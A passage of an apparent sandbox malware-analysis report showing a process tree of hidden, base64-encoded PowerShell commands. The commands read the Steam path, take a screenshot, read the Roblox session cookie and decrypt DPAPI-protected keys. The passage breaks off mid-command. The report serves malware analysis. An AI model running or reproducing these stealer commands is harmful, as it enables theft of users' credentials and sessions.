            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3260
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3300
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwB5AHYAZgB1AGoAcwBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5868
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwB5AHYAZgB1AGoAcwBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1796
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1616
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5916
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5040
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5740
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwB